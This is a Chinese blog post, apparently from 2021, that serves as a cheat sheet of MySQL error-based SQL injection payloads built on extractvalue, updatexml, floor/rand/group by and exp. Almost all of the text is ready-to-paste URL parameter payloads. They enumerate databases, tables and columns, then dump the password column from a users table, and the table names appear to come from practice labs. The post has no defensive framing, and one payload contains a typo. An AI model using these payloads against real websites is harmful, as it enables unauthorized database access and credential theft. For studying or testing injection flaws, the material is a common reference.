MYSQL报错注入

  函数extractvalue(参数1,参数2)

  使用条件:mysql版本5.1以上 有长度限制32位

  参数1:XML文档,参数2:XPAT语句

  用法: extractvalue(1,concat(0x7e,(select user()),0x7e))

  ?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) -- -

  当前数据库的表名:一次30个,第一次[1,30],[30,30],[60,30],[90,30],直到查完所有

?id=1' and extractvalue(1,concat(0x7e,(select mid(group_concat(table_name),1,30)from information_schema.tables where table_schema=database()),0x7e)) -- -

   查询所有的数据库名称:

?id=1' and extractvalue(1,concat(0x7e,(select mid(group_concat(schema_name),1,30)from information_schema.schemata),0x7e)) -- -

  查询某数据库的表名

 ?id=1' and extractvalue(1,concat(0x7e,(select mid(group_concat(table_name),1,30)from information_schema.tables where table_schema='challenges'),0x7e)) -- -

  查询某数据库里的某表的所有列名

?id=1' and extractvalue(1,concat(0x7e,(select mid(group_concat(column_name),1,30)from information_schema.columns where table_schema='challenges' and table_name='c31po1u6je'),0x7e)) -- -

  查询某表某列的数据

?id=1' and extractvalue(1,concat(0x7e,(select mid(group_concat(password),1,30)from users),0x7e)) -- -

 

 

  函数:updatexml(参数1,参数2,参数3)

  参数1:xml文档对象名称,参数2:xpath格式字符串,参数3:string格式替换查找到的符合条件数据

  有长度限制32位

  使用条件:5.1.5及以上版本 

  ?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -

  查询所有数据库名字

?id=1' and updatexml(1,concat(0x7e,(select mid(group_concat(schema_name),1,30)from information_schema.schemata),0x7e),1) -- -

  查询某库下的所有表名

?id=1' and updatexml(1,concat(0x7e,(select mid(group_concat(table_name),1,30)from information_schema.tables where table_schema='challenges'),0x7e),1) -- -  

  查询某库下某表里的所有字段名

?id=1' and updatexml(1,concat(0x7e,(select mid(group_concat(column_name),1,30)from information_schema.columns where table_schema='challenges' and table_name='6omwp8lfij'),0x7e),1) -- -

  查询某表里的某列具体数据

?id=1' and updatexml(1,concat(0x7e,(select mid(group_concat(password),1,30)from users),0x7e),1) -- -

 

 

  函数:floor()

  利用floor、count、group by三者起冲突导致报错,使用 三者不可缺一

  使用条件:mysql 5.0及以上版本

  长度限制:64位

  floor() 取整数

  rand() 在[0,1]产生一个随机数

  rand(0)*2  取0到2的随机数

  and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_sschema.tables group by x) y)-- -

?id=1' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -

 

  

  查询所有数据库名

?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(schema_name),0x7e),1,64)from information_schema.schemata),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -

  查询某数据库下的所有表,输出 security数据库下的所有表名

?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(table_name),0x7e),1,64)from information_schema.tables where table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -

  查询某表下的所有字段,输出security库下users表的所有字段

?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(column_name),0x7e),1,64)from information_schema.columns where table_schema='security' and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -

  查询users表下的password字段数据

?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(password),0x7e),1,64)from users),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -

 

 

  其他注入

  函数:exp()整形溢出报错注入

  条件:mysql 5.5.5及以上版本

  and exp(~(select * from (select user()) a))

  几何报错注入 geometrycollection()、multipoint()、polygon()、multipolygon()、linestring()、multilinestring()

  

posted @ 2021-08-31 21:55  PatrickStar88888888  阅读(260)  评论(0编辑  收藏  举报